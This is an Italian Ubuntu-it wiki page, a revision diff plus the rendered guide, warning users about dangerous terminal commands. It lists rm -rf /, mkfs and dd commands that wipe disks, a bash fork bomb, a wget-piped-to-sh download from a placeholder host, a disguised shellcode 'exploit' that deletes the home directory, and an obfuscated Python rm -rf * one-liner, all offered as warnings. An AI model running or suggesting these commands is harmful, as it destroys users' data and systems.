Wiki Ubuntu-it

Indice
Partecipa
FAQ
Wiki Blog
------------------
Ubuntu-it.org
Forum
Chiedi
Chat
Cerca
Planet
  • Pagina non alterabile
  • Informazioni
  • Allegati
  • Differenze per "andreas-xavier/prova7"
Differenze tra le versioni 4 e 5
Versione 4 del 06/04/2017 11.01.45
Dimensione: 7078
Commento:
Versione 5 del 06/04/2017 11.41.10
Dimensione: 7660
Commento:
Le cancellazioni sono segnalate in questo modo. Le aggiunte sono segnalate in questo modo.
Linea 10: Linea 10:
A scopo puramente didattico e illustrativo, in questa guida raccoglie una lista di comandi potenzialmente pericolosi. A scopo puramente didattico e illustrativo, questa guida raccoglie una lista non esaustiva di comandi potenzialmente pericolosi.
Linea 12: Linea 12:
Si raccomanda di usare particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]]. Si raccomanda particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. <<BR>>Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]] (si consiglia comunque di scollegare eventuali periferiche di memoria condivise dai sistemi ''guest'' e ''host'').
Linea 14: Linea 14:
||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide relative al [[AmministrazioneSistema/Terminale|terminale]] e ai [[AmministrazioneSistema/ComandiBase|comandi di base]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. || ||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide elencate nel paragrafo [[#risorse|Ulteriori Risorse]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. ||
Linea 16: Linea 16:
||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Gli utenti che pubblicheranno questi comandi all'interno del [[http://forum.ubuntu-it.org|forum di supporto di Ubuntu-it]] verranno permanentemente bannati, attraverso il blocco del loro account.''' || ||<tablestyle="text-align: justify; width:600%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Suggerire immotivatamente l'esecuzione di comandi pericolosi ad altri utenti nei [[http://www.ubuntu-it.org/supporto|canali di supporto]] comporta sanzioni da parte dei moderatori e degli amministratori, finanche il ban e l'esclusione permanente dell'account.''' ||
Linea 32: Linea 32:
potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore.  potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore.
Linea 34: Linea 34:
 * Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente:
{{{
 * Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{
Linea 59: Linea 58:
 * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di zeri;
 * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati).
 * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati);
 * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati casuali.
Linea 78: Linea 76:
L'esecuzione di script all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere dannosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate. L'esecuzione di [[Programmazione/Script|script]] all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere pericolosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate.
Linea 80: Linea 78:
Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico script in bash «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{ Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico [[Programmazione/LinguaggioBash|script in bash]] «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{
Linea 90: Linea 88:
È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti attendibili, quali le piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente (ad esempio [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.). È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti ritenute attendibili (ad esempio piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente, quali [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.).
Linea 106: Linea 104:
Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente può sembrare un codice incomprensibile e affatto pericoloso. In realtà esegue il comando {{{ Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente sembra in apparenza un codice affatto pericoloso, per quanto poco comprensibile. In realtà esegue il comando {{{
Linea 109: Linea 107:
che distrugge la cartella '''Home''' dell'utente che ha eseguito il codice compilato. che distrugge la cartella '''Home''' dell'utente che ha esegue il codice compilato.
Linea 111: Linea 109:
= Archivi Tar =
Alcuni archivi [[AmministrazioneSistema/FormatiDiCompressione#tar|tar]] possono provocare spiacevoli inconvenienti e causare danni al sistema. Per ulteriori informazioni consultare [[AmministrazioneSistema/FormatiDiCompressione#tar|questa guida]].
= Archivi =
Alcuni [[AmministrazioneSistema/FormatiDiCompressione|archivi]] possono provocare spiacevoli inconvenienti e causare danni al sistema, come illustrato nel [[AmministrazioneSistema/FormatiDiCompressione#tar|paragrafo dedicato ai file `.tar`]].
Linea 120: Linea 118:
<<Anchor(risorse)>>
Linea 121: Linea 120:

 * [[AmministrazioneSistema/Terminale|Terminale]]
 * [[AmministrazioneSistema/ComandiBase|Comandi di base]]
 * [[AmministrazioneSistema/Filesystem|Filesystem]]
 * [[AmministrazioneSistema/PulireUbuntu|Pulizia del sistema]]
 * [[http://www.chimerarevo.com/linux/comandi-terminale-non-eseguire-linux-180510/|Articolo su comandi pericolosi da terminale]]
 


Problemi in questa pagina? Segnalali in questa discussione

Introduzione

A scopo puramente didattico e illustrativo, questa guida raccoglie una lista non esaustiva di comandi potenzialmente pericolosi.

Si raccomanda particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito.
Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di macchine virtuali (si consiglia comunque di scollegare eventuali periferiche di memoria condivise dai sistemi guest e host).

In caso di dubbi consultare le guide elencate nel paragrafo Ulteriori Risorse, oppure rivolgersi ai canali di supporto.

Suggerire immotivatamente l'esecuzione di comandi pericolosi ad altri utenti nei canali di supporto comporta sanzioni da parte dei moderatori e degli amministratori, finanche il ban e l'esclusione permanente dell'account.

Comandi da terminale

Rimozione: rm

  • I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente:

    rm -rf /
    rm -rf .
    rm -rf *
  • Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «.», ovvero un punto) il comando

    rm -r .*

    potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza .. che si riferisce alla cartella di livello superiore.

  • Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente:

    rm -r .[^.]*

Formattazione: mkfs

Il comando mkfs viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo filesystem.

Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem ext4, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo /dev/sda1).

mkfs
mkfs.ext4
mkfs.ext4 /dev/sda1

Copia di blocchi di dati: dd

Utilizzando il comando dd con i privilegi di amministrazione e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'MBR).

Ad esempio, dove i parametri if e of rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione:

  • dd if=/dev/zero of=/dev/sda: riempie il dispositivo con una sequenza di zeri;

  • dd if=/dev/null of=/dev/sda: riempie il dispositivo con una sequenza di dati nulli (non memorizzati);

  • dd if=/dev/random of=/dev/sda: riempie il dispositivo con una sequenza di dati casuali.

Utilizzo sconsiderato di fork()

L'utilizzo del comando di sistema fork permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre.

Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono:

:(){:|&};:

oppure (utilizzando il linguaggio di programmazione perl):

fork while fork

Esecuzione script

L'esecuzione di script all'interno di un terminale può essere pericolosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate.

Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico script in bash «prova.sh» da un ipotetico indirizzo «http://sito_internet»:

wget http://sito_internet/prova.sh
sh ./prova.sh

wget http://sito_internet/prova.sh -O- | sh

Compilazione codice sorgente

È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno all'interno di sorgenti di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti ritenute attendibili (ad esempio piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente, quali Launchpad, SourceForge, GitHub ecc.).

Un esempio di codice pericoloso è il seguente:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Apparso all'interno di una mailing list come dimostrazione di exploit da eseguire con i privilegi di amministrazione, l'esempio precedente sembra in apparenza un codice affatto pericoloso, per quanto poco comprensibile. In realtà esegue il comando

rm -rf ~ / &

che distrugge la cartella Home dell'utente che ha esegue il codice compilato.

Archivi

Alcuni archivi possono provocare spiacevoli inconvenienti e causare danni al sistema, come illustrato nel paragrafo dedicato ai file `.tar`.

Altri esempi

L'esecuzione del seguente comando in Python per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Infatti la sintassi "sn!.sg!+" sta ad indicare rm -rf *, comando a cui è dedicato il relativo paragrafo.

Ulteriori risorse


CategoryAmministrazione